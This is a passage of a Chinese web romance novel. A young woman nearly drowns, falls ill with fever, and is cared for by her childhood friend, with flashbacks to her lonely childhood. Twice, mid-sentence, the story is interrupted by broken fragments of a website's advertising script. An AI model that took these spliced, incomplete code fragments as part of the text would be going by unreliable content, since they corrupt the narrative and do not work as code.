还好这块是浅水区,捞人不太费劲。 温遇连呛了几口水,林檬见刚才推人的熊孩子还站在不远处,连忙吼道:“干什么呢你!” 被这一吼,熊孩子听见声音明显跑远,这时有工作人员连忙走过来询问什么情况。 这边有余源看着温遇,林檬将自己看见的和他说之后,对方和她一起到温遇旁边看她的情况。 鼻腔又涩又疼,根本呼不上气,温遇脸色明显比刚才白,只能坐在那小口小口呼吸。 工作人员了解情况后准备去调监控,林檬让余源陪着温遇,自己跟着他去看监控。 等找到那熊孩子的时候,才知道今天他是跟着自己爷爷奶奶来的,因为两位老人不会游泳,只能在游泳馆大厅等他。 知道自己孙子把别人推进水里,两个老人明显无措起来,进去拉着孩子在温遇身旁连连道歉。 问赔偿的时候,老人枯瘦的手往打着补丁的兜翻,翻出来几张皱巴巴的纸币,问姑娘这些够不够。 温遇基本已经缓过来,看见眼前两个伛偻老人,垂下眼说了句不用。 见此,老人厉声斥责旁边的孩子,后者也知道自己做错了事,蔫头耷脑地道歉。 事情基本处理了之后,林檬叹了口气:“那老爷子说暑假这孩子才从父母那过来,没想到刚来几天就闯这么大祸,说之后要好好教育。” 余源在旁边接了两句,温遇还是低着头,什么话也没说。 睫毛还是湿漉漉的,林檬和余源猜温遇应该也没心情继续搓澡,问过她情况,她说能自己回家之后,决定结束今天的安排。 温遇轻轻握了下她俩的手说谢谢,三个人回到更衣室,她身上基本都干了,直接换好衣服,在门口告别,她决定打个车回去。 呛过水之后,温遇总觉得头有点晕,眩晕感始终不散,等到家在群里报平安之后,想起自己走的时候没在游泳馆淋浴。 从衣柜里摸了条浅蓝色的吊带裙,温遇洗澡之后都没怎么吹头发,半湿着就直接趴到被窝里。 午后的阳光烫上窗帘,她感觉浑身都被火烧了起来。 迷迷糊糊间,思绪被放慢,她总是在经历类似的事情才会不受控制往回看。 遥远的记忆突然横亘在眼前,有一种想让人落泪的冲动。 20.鱼鱼 20/ 温遇第一次游泳其实是在温途出生之后。 温途虽然是唐宝宝,不过除了智力方面存在明显迟钝,身体机能方面并不算特别差。 相比其他唐宝宝,温途情况要稍微好一些。 而温遇是从小体质就弱,温成钢和徐翩禾自然就没让她参与这种剧烈活动,况且徐翩禾记忆深刻的一次经历,就是在带她去过水世界之后,温遇发的一场高烧。 温度飚到四十,烧得她神智都不太清楚。 那次可以说是她大大小小的病里,最严重的一次。 这之后,凡是和水沾边的活动,徐翩禾一般都不会带她去。 更别提游泳这种相对剧烈一些的运动。 小学实践经常会组织学生去少年宫学习,旁边就是游泳馆,放学后家长来少年宫接孩子,有的会直接领着去游泳。 日常交流,温遇发现班里同学有学游泳的,有报班去学芭蕾的,有学钢琴的,而她一样也不会。 和家长提过几次,徐翩禾就会对她说学这种东西会很辛苦,你体质不好,就算了吧。 几次下来,温遇也不再争取,用沉默代表自己的答案。 所以在学校组织表演的时候,基本没有她什么事。 由于体质不太好,加上小时候因为生病性格沉闷木讷,集体表演也是站在最后一排,拍照的时候自动被别的小朋友挤到一边,在照片里并不醒目的位置。 所以不管她长到多大,在大家眼里似乎永远开心得像一个小太阳,可温遇知道,她也有深藏的脆弱。 过往的经历,像原本平整的纸折了一个角,不管再往上面摞多少层纸,都不平坦。 这种不平坦延续到初中,延续到温途出生,然后再延续到高中,直至现在。 温途身体趋于平稳的一段时间后,他的状况可以参与一些基本的训练,出于对未来健康考虑,一家四口选择踏进少儿游泳中心。 可温遇并不会游泳,这里对她来说太陌生,于是她只能看着家长做什么,自己跟着做什么。 温途是需要专业人员陪护进行锻炼的,温成钢和徐翩禾自然要跟过去一起的。 粗略给温遇指了个方向,两个人就离开,等女孩回答的时候也只能看见他们的背影。 一个人被留在泳池旁边,温遇收回目光,换好泳装站在水池边上紧抱双臂,沉默看着水面的倒影,凑近观察会发现她竟然在发抖。 周围基本都是些同龄的孩子,大半个身子在水里嬉戏也不用怕,他们有家长在旁边护着,可是她没有。 原地站了一会儿,温遇选择先把腿放进水里,再将身体沉下去。 水漫到脖子的时候她就感觉不太对劲,心跳乱了拍,她想撑在旁边的台子上起身,结果脚下一滑直接跌进水里。 水从四面八方涌进身体,眼前是水的蓝,可她已经没有心思多想,窒息的感觉铺天盖地袭来,整个人像破开的水气球。 几秒的时间,却分外难熬。 幸好池子浅,她手指扒在台边,能够自己从水里站起来,只是有点不太舒服。 水像沉甸甸的沙袋,从四周朝她挤压过来。 心跳频率加快,温遇大口呼吸,直到窒息的感觉不再束缚胸口,忍着鼻腔的钝痛,她果断选择离开水中。 只一次,她便讨厌上了游泳。 这个时候恐惧和后怕让年轻女孩摒弃了刚才的失落和酸涩,选择投入父母的怀抱。 身上粘的水珠与空气接触很凉,冷得她直打颤,温遇想了会儿,还是决定往父母刚才给她指的方向走。 像温途这种情况特殊的孩子,一般都是在单独的房间里进行训练的,温遇回想刚才徐翩禾指的方向,踩着拖鞋小步小步挪动。 每个单独的小房间都有很大一面透明玻璃,温遇一个个路过,往里看有没有自己熟悉的身影。 也不知道走到第几块玻璃前,她最先看见的是在父母中间的温途。身上套着浅黄色的充气游泳圈,徐翩禾和温成刚是背对玻璃的,这个角度看不见站在门外的温遇。 两个人坐在水池外面,伸手逗弄眼神懵懂的温途,一次头也没回过。 仿佛她只是个和这里完全不相关的陌生人,周围的一切和她并没有多大的关系。 温遇在玻璃里,逐渐发现除了可以看到他们之外,她也能清楚看见自己。 她看见自己脸色白得可怕,连脚趾都无措蜷起。 身上的水不知道什么时候几乎都已经干掉,温遇还是站在玻璃前,沉默了一会儿选择靠在旁边的墙上。 她想错了,墙面还是比自己的身体要凉。 凉得她有点想哭。 刚平稳的呼吸又乱了起来,鼻腔酸涩难忍,她拼命压制,喉咙里还是传出来难以克制的哽咽。 她连自己为什么会这样都不知道。 时光如梭,记忆却从未远去,温遇一直以为它是躲起来了,可是却在今天全部被找回来。 仍旧完整。 仍旧让她迷失自己。 她已经很长一段时间没怎么梦见过以前的事了。 身上仿佛被火烤着燎着,温遇只觉得这是很痛苦的梦,可她却醒不过来。 意识好像被人强硬地拽着失重下坠,她一个人走到黑暗中间,困囿于不见路的迷宫。 “温遇。” 好像有人在喊她。 声音很轻,有些熟悉,却很模糊。 模糊到她分不太清声音的主人是谁。 “温鱼鱼。” 又一声。 问题有了答案。 只有一个人,会这样喊她。 喊她声音越来越大,一片黑的周围开始地动山摇,地面裂开,缝隙里露出白色刺目的光,她想逃跑,却不受控制摔在地上。 恐惧的惊呼滚向喉咙,她下意识伸手,想抓住周围可以依靠的东西。 在即将坠落的那一瞬间,手腕被人死死拽住—— “温遇!” 耳边传来很强的风声,她被强风吹拂闭起眼,风声在鼓膜处掀起震颤,全身上下都在失重,只有手腕的温度拽回她几尽茫然的思绪。 黑暗和白光永久定格在一瞬,像电影结束时最后的长镜头。 噪声远去,耳边重新归于寂静。 温遇睁开眼,额头全是汗,千斤重的眼皮掀开都很费力,她扭头,看见梦境里那张只闻声未见人的脸。 “谢闻颂。” 她听见自己蚊子一样小的声音,喉咙烧起来,音质沙哑如拽锯。 掌心撑在旁边,温遇试图从床上坐起,谢闻颂伸手把枕头竖起来,好让她能够靠得住。 头皮是细密针扎样的疼痛,温遇忍不住伸手扶着脑袋,手掠过脸颊,沾染一片湿漉漉。 她先是怔了一瞬,然后抬头看向谢闻颂的脸,惊慌无措的情绪搅在一起,也不知道触开哪个阀门,眼眶的泪开始往下掉。 分不清梦境还是现实,她连脆弱都无法掩藏,忍不住想用手去擦眼泪。 手刚要抬起,却被人重新摁回被子上,谢闻颂抽了张纸巾,裹在手指上给她擦眼泪。 他什么也不说。 不问她为什么哭。 也不问她发生了什么要这样难过。 不知何时,外面的天色已经黑沉下来,阳光的燠热散场,卧室也只有一盏小台灯在值班。 微弱的灯光更显谢闻颂的瞳孔颜色深,温遇错开眼前的纸巾,在这样昏昧的光线里看见眼前人胸前轻微起伏,额头上竟也有汗珠。 温遇牙齿咬着口腔上的肉,这一刻莫名浑身卸了全身力气。 谢闻颂把擦完眼泪的纸放在旁边,手背碰了下她的额头。 “烧成这样,得去医院了。” “温鱼鱼,你外套在哪?”谢闻颂意识到她现在可能没有力气自己找,眼神环顾四周,落在旁边的衣柜上,“在里面吗?我给你拿一件?” 他正要起身,感觉到上衣被人轻微扯了下,他扭头,对上那双泛红的眼睛。 温遇的长发微乱,像在窝里倒腾一圈没找到玩具的炸毛小猫,肩带窄窄一条,从锁骨上绕圈。 圆润的肩头被台灯照得反光,她刚哭过,呼吸还不平稳。谢闻颂瞧着,感觉她最近好像又瘦了点。 她轻轻昂首,眼里泪光未去,低喃:“可不可以抱我一下。” 说完这句,温遇似乎意识到什么,立刻垂下头。 呼吸都有些费力,她深深抽气,忍不住闭眼。 她原来是发烧了,怪不得浑身这么烫。 努力回想刚才他的话,温遇正要下床去找外套。 再睁眼时,周围的光被挡住,谢闻颂单膝跪在床边,附身用双臂拢住她的肩头,他的耳朵贴在她头发上。 他在抱她。 意识被烧得模糊,温遇合上眼。 她怎么感觉谢闻颂的心跳,比她还快。 - 温遇没想到自己能烧得这么高。 温度逼近四十,她长大以后基本没有烧到过这个数字,如果不是谢闻颂喊她,她估计就这么迷糊着睡过去了。 躺在椅子上挂水,谢闻颂就在她旁边,盯着她的输液器,看液滴流速。 这里灯光如昼,能将脸上的每个细微表情都照得清楚。 谢闻颂戴了顶帽子,帽檐垂落的阴影刚好到鼻子。 温遇沿着他的鼻骨往下瞄,试图用眼神在上面来回滑滑梯,直至盯到弯起的嘴角才发现不对劲。 她合上眼,才发现这时候装睡已经来不及了。 见某人还假装睡觉,谢闻颂支着下巴笑了声:“抱都抱了,看看怎么了。” 这话怎么这么暧昧。 几个字怪让人想入非非的。 温遇正要反思是不是自己玷污了这纯洁的友谊,却发现引起歧义的人实际是谢闻颂。 心虚顿时烟消云散。 她坚定语气:“那明明是朋友鼓励的拥抱。” 话刚说完,对面睇来一眼,没说话。 温遇别开眼,仰头看滴管里不断下坠的水珠。 速度好慢。 肚子好饿。 饿到睡不着觉。 上午去游泳馆之前吃了一份可颂和一杯美式,呛过水之后只觉得恶心,回家洗个澡就睡了。 现在饥饿感漫上来,比恶心还要难受。 正想着,肚子先抗议地发出声音,谢闻颂明显也听见了,直接笑出声。 还没等温遇有什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么反应,眼下一黑,谢闻颂把自己的帽子摘下来戴在她头上,挑开折进去的头发。 “等会儿,我出去趟。” …… 温遇靠在椅背,眼睛合上,却怎么也睡不着,时不时就往门口瞄,看谢闻颂回来没有。 睡也睡不着,温遇索性放弃酝酿困意,从随身携带的小包里翻出手机,看到一个小时前林思睿的消息。 three:妹儿,你现在身体怎么样了? 她来医院没多长时间,林思睿是怎么知道的? 温遇秉持先后原则,报过平安再提出疑问,对方明显在线,秒回。 three:没事就行。 three:今天谢闻颂在路上还没到地方,就和我说你联系不上了,我原本以为他是因为我之前放他鸽子那事和我开玩笑的,结果是真的,也是给我吓一跳。 three:他在你身边吧? three:没事就好,我也能放心睡了。 温遇一一回复。 退出聊天框,温遇已经没了继续刷手机的欲望,或许是已经输上液的原因,她能感觉精神状态稍微要好一点,之前在心底的存疑此刻有时间琢磨。 首先谢闻颂是怎么判断她在家,又是怎么进来精准找到她的。 她当时因为回忆加上做梦,状态恍惚,情绪起伏也很大,一场意外把她深藏的脆弱全都挖掘出来,这些疑问自然没有时间去想。 腹稿按顺序打下,只等回来问谢闻颂。 温遇这回彻底没了困意,一只手打着吊针,她只能单手拿手机,手指上下滑动屏幕消磨时间。 微信提示群聊有艾特消息,她在主页看了眼,是Mentha内部的闲聊群—— 一个什么八卦都能谈点的民间组织。 积攒的信息已经达到999+,温遇显然没怎么点进去过。 根据经验之谈,这个群的艾特一般都是转评博文或者是集赞用的,她一般都选择忽略。 显然这个点还有不少人在冲浪,她正翻公众号有趣的文章,顶端信息来自林檬的轰炸。 【宝儿!!!!!快去看闲聊群!!!】 她这才把看了半截的文章小窗,点进积了灰的群聊。 映入眼帘就是一排排的尖叫“啊啊啊”,还有几条,温遇简单扫了眼,表示这简直是虎狼之词。 往上翻了不知道多少条,发现“始作俑者”是一段几分钟的视频。 点进去发现是截的谢闻颂的一段采访。 上午的时候工作群还让他们及时关注官v,发了新博文让他们别忘记点赞。 工作上的事,温遇一贯都设特别提醒,但显然这个视频是内部流出,估计现在还是剪辑部的半成品。 想到这,温遇偷感很重地往周围看看,戳开视频之前,她单手从衣兜里摸出耳机盒,塞了一边的耳机。 现场有收音,但视频仍然是半成品,这个角度是从侧面拍,谢闻颂只露了半边脸。 但仍旧不影响群聊里发疯似的讨论。 因为现场收音,并不难听出视频里的对话。 一脸标准微笑的主持人问:“您印象最深刻的一件童年趣事是什么?可以分享一下吗?” 谢闻颂交叠双腿坐在单人沙发上,熨烫平整的西装没有褶皱,掌心搭着沙发扶手,指关节屈起敲击在皮革面。 年轻男人仪态万方,平时的懒散劲儿散去,衬衫扣子一直系到领口。 还怪认真的。 温遇默默腹诽。 不知道为什么,看着这样的谢闻颂,竟让她徒生出不自然来。 顶着这股异样的情绪,她继续把视频看下去。 谢闻颂略一思索,然后像是想到了什么好玩的事,唇边带起笑。 “我邻居家也有个和我差不多大的孩子,小时候她写不完作业想抄我的,就给我带了块西瓜,要贿赂我。” 画面里的男人弯起唇角,弧度很小,很想让人继续听下去。 温遇眼皮一跳。 这故事怎么这么熟悉。 果然,下一秒—— “捧着西瓜的我很开心,寻思从小到大她都没给过我什么礼物,好不容易给我带礼物,当然要珍惜一下,虽然那是块蒜味西瓜。” “估计她现在也不知道。” “不过我作业也没写,当时我还想她目的没达成,会不会怪我吃掉了那块西瓜。 “不知道为什么,后来她一点也没提西瓜的事。” 谢闻颂眨眨眼:“可能是想让我留个人情给她吧。” 视频就截了这么一小段,此刻要是谢闻颂在眼前,她估计都会维持不住脸上的表情。 后来没提西瓜这事,纯粹是怕谢闻颂知道之后和她绝交。 毕竟谁知道自己吃的西瓜原本是给小狗的都会忍不住破防吧。 陈年糗事的当事人还蒙在鼓里,只有唯一知道真相的温遇只剩下心慌。 视频已经结束暂停,温遇“心慌”到忘记还在打吊针的右手,刚要抬起退出视频,手腕被人截住,重新摁回到一边。 谢闻颂单手拎着保温袋,弯着腰将手撤回,语气慢悠悠的,视线落在她亮起的手机屏幕上。 “看什么呢?” 21.鱼鱼 21/ 眼见着谢闻颂垂眼把保温袋拆开,把里面打包的食物摆在小板子上,温遇默默把手机锁屏放在一边,动作像被老师训话的小学生。 小桌板窄窄一条,放不全谢闻颂买的东西,他只好先把粥放在上面,动作放轻揭开盖子。 油绿的菜叶裹在白米粒上,香味很淡却意外勾人,温遇做贼似的瞄了两眼,不自觉咽口水。 打吊针的手不能乱动,谢闻颂把餐勺放进粥里搅动散热,等到已经不烫的时候朝她示意:“能自己喝吗?” 温遇慢半拍明白他的意思,顶着帽檐垂落的阴影点头。 塑料勺子把儿顺时针挪到她这头,谢闻颂则是从保温袋拿出另外一盒小点心,温遇眼尖,看见是盒奶黄包。 小的时候她挺爱吃这个,每次都是留到最后慢慢品,小朋友大多都喜欢吃点甜的,只不过后来稍微大点她就没怎么在餐桌上看到这个了。 没想到他竟然会买。 谢闻颂感觉到温遇正在看自己手里的奶黄包,视线瞄过去时正好和某只兔子对上眼。 兔子先移开视线。 他的帽子温遇戴着有点大,一抬头帽檐就垂下来,时不时挡视野。 扶好帽子,她打吊针的手不太敢用力,只能轻轻用指尖抵着纸碗边,小口小口喝粥。 模样挺文静的,谢闻颂心想,向她示意手里的打包盒。 “桌板放不下,你想吃的时候和我说,我给你夹。” 温遇将帽子往上推了推,露出双眼:“我现在就想吃。” 谢闻颂笑了声,把筷子从中间掰开:“行。” 温遇表示,心情不太好的时候有一种通用的解决办法,就是品尝美食。 就比如她现在嘴里咬着奶黄包,坏心情几乎都已经散了个干净。 自己就把自己哄好了。 心情轻松下来,她没忘记心中存疑,刚才打的腹稿终于用上,主动提起今晚的事:“谢闻颂,你是怎么发现我发烧的?” 说起这事,他也被挑起记忆,语气里带了冷嗖嗖的味道:“那得先看看你手机里十几条未接电话。” “呃……”温遇咽下粥,刚才刷手机冲浪的时候,她当然注意到那成堆的红色号码。 关键是她没给谢闻颂的电话备注,主要是这号码她太熟悉,不看备注也知道是他。 温遇还在琢磨要是直接说自己没给他手机备注会怎么样,谢闻颂没在意她是否回答,自顾自道。 “联系不上你,我还去问程以桉你今天是不是去她那儿了,答案也是没有。” 谢闻颂给她夹了个奶黄包,说到这,他稍作停顿,语气不紧不慢:“你是不是不知道原来的门锁里还存着我的指纹?” 奶黄流心溢进唇齿,香甜气息从舌尖往上爬,温遇思绪突然短路,茫然抬头:“我直接存了我的……” “嗯。” 谢闻颂盯着她越来越慢的咀嚼动作,大概猜到她心里想的什么:“刚才出门的时候,我已经删掉了我之前存的指纹。” 温遇见他提起这茬,想起临来医院之前,谢闻颂趁她换鞋的时候,好像捣鼓一阵门锁。 她当时头有点晕,只匆匆瞄了一眼,此时谢闻颂说起她反应过来。 “至于为什么找你……” 谢闻颂停顿,“核桃想见你。” 显而易见的敷衍借口,温遇也没想到谢闻颂竟然还能用两次。 气氛轻松,温遇没忍住吐槽:“老拿核桃说事。” “算了,是我。” “是我找你。” 这次倒承认得这么爽快,温遇不着痕迹看了他一眼。 他们之间存在固定的默契,谢闻颂含糊其辞,没提为什么找她,只是说联系不上自己,温遇也没继续深挖。 这么多年的关系,温遇不觉得有些话谢闻颂一定要说到位她才明白或者是满意。毕竟人与人之间能够维持关系还是要看是否相处得来。 除了必须要到只有交流才能解决问题的时候,温遇一般点到为止。 上个话题自动结束,手机提示音响出声,温遇低头,林檬正问她看没看闲聊群的消息。 想起自己刚才光顾着看群消息,她的信息还没回复。 下个话题到这,温遇突然想开个头。 她用神秘兮兮的语气道:“谢闻颂,你想知道我刚才在看什么吗?” 吊足胃口的一句话,温遇真以为能拿捏住他,哪知谢闻颂递过来一个平静眼神:“不想知道。” “……” 不怪谢闻颂“扫兴”,刚刚温遇那表情简直把不怀好意写在脸上,他大概猜到应该是和自己有关的事。 这么多年还是不太会隐藏坏心思。 谢闻颂心里发笑,面上不显。 果然乖女孩就是乖女孩,学坏这方面她实在没什么天赋。 以为自己藏得很好。 知道对方套路的他,自然决定来点反套路。 温遇小脸一垮,正准备就此结束话题,脑门忽地被人弹了一下,她下意识捂住,刚想对某人怒目而视。 “骗你的,想知道。” “你告诉我?” 谢闻颂将头凑近了点,也学着她刚才的语气,故作好奇但却压抑声音,仿佛两个人在交流只能分享给彼此的小秘密。 偌大的空间仿佛自动浓缩,把他们两个人单独拉到一个封闭的小盒子里。 温遇感觉自己的睫毛不受控颤动两下,低头瞄向手机的位置,回想刚才那段未经处理的视频。 “你在采访上提我了?” 谢闻颂明显反应了一下是什么采访,想起之后幅度很小地挑眉。 “你看见了?” “前几天不还说我的视频照片压在你们摄影组的电脑里吗?” 温遇点开手机给他看:“内部机密。” 谢闻颂就着她伸过来的手瞅了一眼,“没办法,蒜味西瓜确实令人难忘。” 如果说那原本是给大黄的,会不会让你更难忘。 温遇只敢在心里想想。 “你知道群里,我同单位的同事,看到你那条采访都不太淡定了吗?” 谢闻颂饶有兴致听她说下去。 “就……” “怎么不淡定了?” 温遇拿起手机,随意上下划拉,定位到几条有趣的,念给他听。 “同事一说你是南川尤物。” “……” “同事二说你是ai合成的。” 还没从“尤物”这词反应过来,谢闻颂又拧起眉:“什……” 温遇补充下半句:“她说她一眼就爱(ai)上了。” “……” 这都什么。 谢闻颂脸上的表情一言难尽,温遇瞅见,嚯,难得见到这人露出这样的表情,坏心思积攒蛰伏,在此刻突现,她清清嗓子,继续捡有趣的念。 “同事三说,说…” 温遇犹豫了一下,看向谢闻颂,“你知道的,我从小就没有老公。” 说完仿佛不尽兴,坏心思持续发酵,温遇还放缓放轻语气又重复一遍:“谢闻颂,她说她从小就没有老公诶。” “……” 说的就好像她有似的。 谢闻颂难得被噎了一下,给她个“你能不能别说话”的表情。 四目相对,互相都从对方眼里看出点以前年纪小时候较真的硬脾气。 “……” 温遇语毕,像是捡到什么乐子一样,低低笑出声。 现在夸人的词倒是越来越新鲜了,捉弄他的心思未减。 笑完还不做完,她凑近谢闻颂坐的那端,没打吊针的那只手挡在唇边,想邀他品鉴一样:“这些评价怎么样?” “还满意吗?” 谢闻颂听着她的声音,心口处则是鼓鼓囊囊的冒着热气儿,放在竹编篮的小兔子偏偏正窝在这暖洋洋里,自个儿舒服着,他却挺难受。 这只兔子怎么这么磨人。 他难受得牙痒痒,想一个冲动把兔子耳朵揪下来。 谢闻颂直勾勾盯着温遇的狡黠样,没情绪扯了下唇角,回答却是另一个方向:“我能举报你们群吗?” “……” 温遇脸上的笑僵硬一瞬,“当然不能。” 她说完就低下头,自然没看见谢闻颂仍停留在她身上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的目光。 气氛微妙之时,护士走过来给温遇拔针,走之前还能测一次体温,谢闻颂把体温计递给她,转头把那顶帽子要了过来。 帽子上沾染她洗发水的味道,谢闻颂敏锐发觉,略一品有点像夏天第一口柚子冰茶,尾调缀了点滋润的清甜。 软边帽檐被手指拽着拉低,掩住他发烫的耳朵。 身上感觉也像烧起来,谢闻颂却知这并不是发烧,短暂思索他果断申请单独去拿药冷静冷静。 指关节抵在台子边儿冲淡血色,他想的还是刚才凑到他旁边来的小脑袋,和那句仿佛能撼动他灵魂的那两个字。 明明是在调侃,他还是没忍住自我带入。 代入的结果就是差点给自己带沟里去。 谢闻颂闷不做声垂头往塑料袋里装药。 心中一片鼓噪。 要死了。 为什么会,这么可爱。 有种想一把抓住兔子紧紧抱在怀里的可爱。 - 休息日最后一天,温遇选择留在家里整理东西。 上次买过书架之后,心里起了想法,想一点点把这里装扮成喜欢的样子,于是她陆陆续续又给家里添置了几样小家具,前两天图新鲜买了几套拼图,还没有时间拼,只好放在书架上落灰。 今天瞅见,温遇对着塑封包装盒叹了口气,擦干净上面的灰尘放到柜子的最下面。 又网购了几盆绿植,她寻思买来和谢闻颂给她的发财树作伴,商家寄过来的时候有几片绿叶已经掉落在快递盒里,温遇精心打理之后一盆盆往阳台的铁架上挪。 发财树被她放在角落的位置,几盆平时不太需要晒太阳的小盆栽搁在它底下。 今天天气阴,早晨刚下过雨,雨意未去,风里吞吐着微凉,温遇把躺椅支了起来,就着潮湿的风坐在上面靠了会儿。 清风拂面,仿佛夏天燠热的暑气只是错觉。 油绿的叶片也在风中轻轻摇摆,温遇瞅见凑过去用掌心挡住风,叶子停止晃动,恢复了原样,只是细细一根茎好似又弯了点。 温遇想了想还是挪开手,任凭风吹向绿叶。 今天天气并不恶劣,只是起微风。 她想,那片叶子也许并不想让她伸手挡这股气流。 它自会拥向风,固执缠斗。 …… 谢闻颂视线从电脑上移开看向窗外的时候才发现天已经暗下来,书房隔音很好,加上他没开窗户,外面什么时候下了雨都没发现。 就是因为隔音太好,核桃等呼噜声在书房里特别明显。 谢闻颂趿拉拖鞋在核桃身边蹲下,掌心顺平它头顶的毛,核桃睁开眼睛盯着他,黑漆漆眼珠转转,从地板上站起身,绕着他直转圈。 他蹲下,掌心贴着绒毛一下下梳理。 “你今天也挺开心的,是不是?” 谢闻颂笑了声站起身,视线不经意撇了眼书柜中的木质相框,两个模样看着稚嫩的人靠在一起。 一个笑容淡淡,一个笑颜灿烂。 谢闻颂走到书柜前打开门,把里面的相框拿出来,摆在横桌上。 核桃咬了下他的睡裤角,谢闻颂注意到木桌上手机的消息震动。 小鱼丸了:惊喜放在老地方了。 小鱼丸了:记得拿。 谢闻颂沉默放下手机,走到门口将门打开,不出意外在把手上发现了纸袋。 里面装着两个刚烤好的蛋挞。 他看向对面的禁闭的门,想起刚才照片上的那张笑脸,很轻笑开。 这么多年,很多事都已经变了。 可她好像还是没变。 爱笑,做什么事都像兔子一样自带萌感,有独属于自己的可爱之处。 性格使然,自然有时也会口不对心,还有点小嘴硬,就像今天一样,只有在极致脆弱的时候才会把心底最深的想法说出来。 其实她总是忘记,兔子淋雨的时候其实也可以躲到叶子下面,而不是全力狂奔还没到家就淋个湿透。 又或许是她也忘记。 总有一个人会定时撑起伞,独自踏上小径。 和她面对面,只为并肩伞下。 22.鱼鱼 22/ 谢闻颂并不是一个爱拍照的人。 虽然他并不排斥面对相机,但觉得自己的某个动作永远被定格下来,隔一段时间再回看的时候,总有一种怪异的感觉。 至少他在高中以前是这样想的。 他不习惯用照片记录自己的生活,除了小时候父母记录他成长的相册以外,他没怎么拍过其他照片。 长大些,乔若琳也会偶尔把以前的相册整理出来,笑着和他讲每张照片背后的故事。 他虽耐下心一句句听,但并没有几分往心里去,他不太擅长回忆,除非是挺难忘的,才会定期拿出来回想一下。 不太爱拍照的习惯,被温遇敲开了一个裂口。 上初中时,两个人仍旧同频成长。 温遇如很多次一般,习惯揣着事从隔壁跑过来找他。 从小到大,谢闻颂早已习惯自己正忙自己事的时候她突然过来。 听见熟悉的动静,他维持单手在电脑上敲字的动作,另一只手习以为常地给她从旁边拽了把椅子,电脑上的文档刚写了一半,正斟酌用词,手腕处蓦地贴上冰凉触感。 他偏头,发现搭在手腕上的是上个月温遇拍的写真,她之前提过一嘴,他有印象。 此刻温遇边嗦冰棒边准备拿给他看。 仿佛这时候才注意到他正在忙,温遇嘴里嚼冰的动作慢下来,抽开写真册:“你先写你的。” 说完便从椅子上站起来,动静很轻在他房间里走。 谢闻颂听着她刻意压低的脚步声,在看不见的地方嘴角悄然上翘。 某只兔子在房间里蹦跶一圈,转而在自己的书柜前驻足,谢闻颂也没多管,手上打字动作未停。 他集中精神做事效率挺高,等将文档保存在电脑往身后一看,早就躺在他懒人沙发的温遇已经睡着,从他书柜里抽出的漫画书正被双手交叠撂在胸前。 格子窗开了个小口,有风被窗纱过滤成丝细碎漏进屋里,谢闻颂找了条干净的毯子轻轻给她盖下。 少女的长睫卷曲,窗外不烫人的薄光轻轻铺在她身上,谢闻颂目光在她脸上略微停顿,然后从旁边的胡桃木矮柜上拿起那本写真册,坐回椅子上一页一页翻看。 窗外是夏季的小尾巴,绿叶随风掩映的碎光漏在木桌上,光斑像精灵雀跃在跳动。 虫鸣仍旧参与盛夏乐章,细碎光点有几点跳在他手上,随着翻页动作消失又重现。 说起来,他和温遇其实有很多处不同。 比如在拍照这件事上,温遇一贯积极,不只是自己拍照,在给别人拍照的时候也热情满满。 她喜欢做这件事,慢慢做出了“天赋”,自从上初中有了人生第一个小相机之后,她似乎在这条小路上走得更灿烂。 他看过很多温遇拍的照片。 构图完美,光线和氛围相得益彰,相当出片。 慢慢的,他也将这种不同感转为对她的欣赏。 能将自己喜欢的事做好并不容易。 有热爱加持固然好,但并不影响做好本身的不易。 这点谢闻颂亲身体会过,并不陌生。 写真册里的少女也很会找镜头,表情和造型俏皮可爱,青春期身体迅速抽条,她身上的稚嫩感隐隐有退去之势。 就像是一个漂亮的茧,包裹住一只即将破蛹而出的蝶。 开学不久后的十一假期,温遇拉着他去游乐园,原因也是抢到了特价票。 这份喜悦酝酿了小一个月,却在当天,被看不见尽头的队伍消磨干净。 十一各大娱乐场所基本爆满,客流量再次打破往年记录创下新高,不止这一处游人如织。 日渐凉下来的温度并没有让汹涌的人潮静下来,温遇戴着从店里买的小熊发箍,站在队伍里叹气。 谢闻颂察觉到她情绪里隐藏的失落,伸手捏了捏她发箍上的熊耳朵:“怎么了?” “感觉今天玩不了几个项目……”温遇说到这瞅他,音量成阶梯式变小,“还要让你也在这里等。” 谢闻颂收回在发箍上捣乱的手,上身前俯靠近:“那你是因为前者低落呢,还是后者?” 温遇双手握紧包带,似乎有点纠结。 谢闻颂带着鼻音哼笑了声:“如果是后者,那你完全不用考虑。” 轻而易举转移了温遇的失落,谢闻颂对上她疑惑的眼神,很坦然讲:“对我而言,在哪儿玩都一样,只是看和谁一起出去。” “这个比较重要。” 感觉到面前的人有轻微的愣怔,他伸手捻下女孩刘海因为刚才抱人形玩偶蹭到的绒毛。 动作熟稔自然,仿佛这种细微的照顾已经融入他从小到大的习惯里。 “而且要不是你买到了票,我现在估计还站在门口进不来呢。” “所以说啊——”谢闻颂双手揣在兜里,声音顶开周围的嘈杂飘进温遇的耳朵里。 “得亏我脾气好。” “……” 谢闻颂颇有点儿欠地撂下这句话,成功让温遇把刚刚挤出来的感动重新憋了回去。 果然这人总喜欢在和谐的气氛里搞破坏。 温遇小时候没少因为这个原因和他斗嘴。 这人有时候说的话实在很难不让人和他生气。 以前年纪小不经逗,后来温遇才知道他本来就是这样的人,完全是靠自己实力拽天拽地成为校园里的霸王。 也有不信邪找他挑衅的,没说几句就被气哭跑开,偏偏始作俑者坐在位置上捋平书角,一点儿愧疚都没有。 温遇也不知道这样的性格是怎么成为孩子王的。 又毒舌又不好相与。 尽管温遇已经习以为常他这特点,还是没忍住露出无语的表情。 心情倒是不像刚才因为排队低落了。 温遇决定大方不和他计较。 落日飞车排了一个小时,真正游玩时间不超过五分钟,刺激快感的后遗症让温遇已经将排队的事情搁在脑后,意犹未尽和谢闻颂讨论还没散尽的体验感。 她身后和发箍同款的小熊背包随着走路的动作一颠一颠,讨论起刚才情绪异常高涨,谢闻颂见她横扫失落,重新恢复元气,想她还真是好哄。 温遇叽叽喳喳说,他也一字一句耐心听。 不在意女孩飞速转移的话题,也不纠结她说着说着突然天马行空的幻想。 真做到了她说什么,他就听什么。 夕阳微垂,温遇拉着谢闻颂在一座卡通塑像前面拍照。 天边薄薄一层云根本挡不住泛粉的霞光,反而将原本浓烈的颜色过滤掉一层,尽显柔和。 晚霞一会儿一变化,现在和刚才在落日飞车上看到的颜色也有细微差别。 